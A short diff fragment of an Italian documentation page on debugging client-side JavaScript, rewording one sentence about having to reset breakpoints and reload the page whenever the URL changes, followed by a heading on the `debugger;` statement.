-Il debugging del JS lato client può essere un problema perché ogni volta che cambi l'URL (incluso un cambiamento nei parametri utilizzati o nei valori dei parametri) devi **ripristinare il breakpoint e ricaricare la pagina**.
+Il debugging del JS lato client può essere complicato perché ogni volta che cambi l'URL (incluso un cambiamento nei parametri utilizzati o nei valori dei parametri) devi **ripristinare il breakpoint e ricaricare la pagina**.
 
 ### `debugger;`